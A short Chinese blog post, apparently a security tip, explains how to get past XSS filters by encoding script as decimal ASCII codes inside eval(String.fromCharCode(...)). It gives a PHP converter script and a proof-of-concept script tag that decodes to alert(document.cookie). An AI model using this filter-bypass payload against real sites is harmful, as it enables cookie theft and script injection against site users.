利用php转化ASCII编码绕过Xss

xss通过eval(String.fromCharCode(*,*,*,))函数可以实现绕过某些过滤,而eval函数是执行里面的代码,里面有个String.fromCharCode函数,这个函数里面可以以逗号分开ASCII码,最后返回合并的字符串,网上没查到直接转换的工具,就自己写了个,总不能遇到的情况下一个一个对照着ASCII码表去转换吧、ASCII码表又分为8进制、10进制、16进制,这里用的是十进制的噢、用下面php脚本即可转换:

<?
$xss = "alert(document.cookie)";
for($i=0;$i<strlen($xss);$i++){
echo ord($xss[$i]).',';
}

直接把转换的代码放进String.fromCharCode函数里就好了、、、其实单纯这么一个也没有什么,还记得之前因为变量优先级赋值的时候,16进制执行的函数不、、、特定情况下,如果能结合起来,会很强大的噢、
POC如下:

<script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))</script>

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.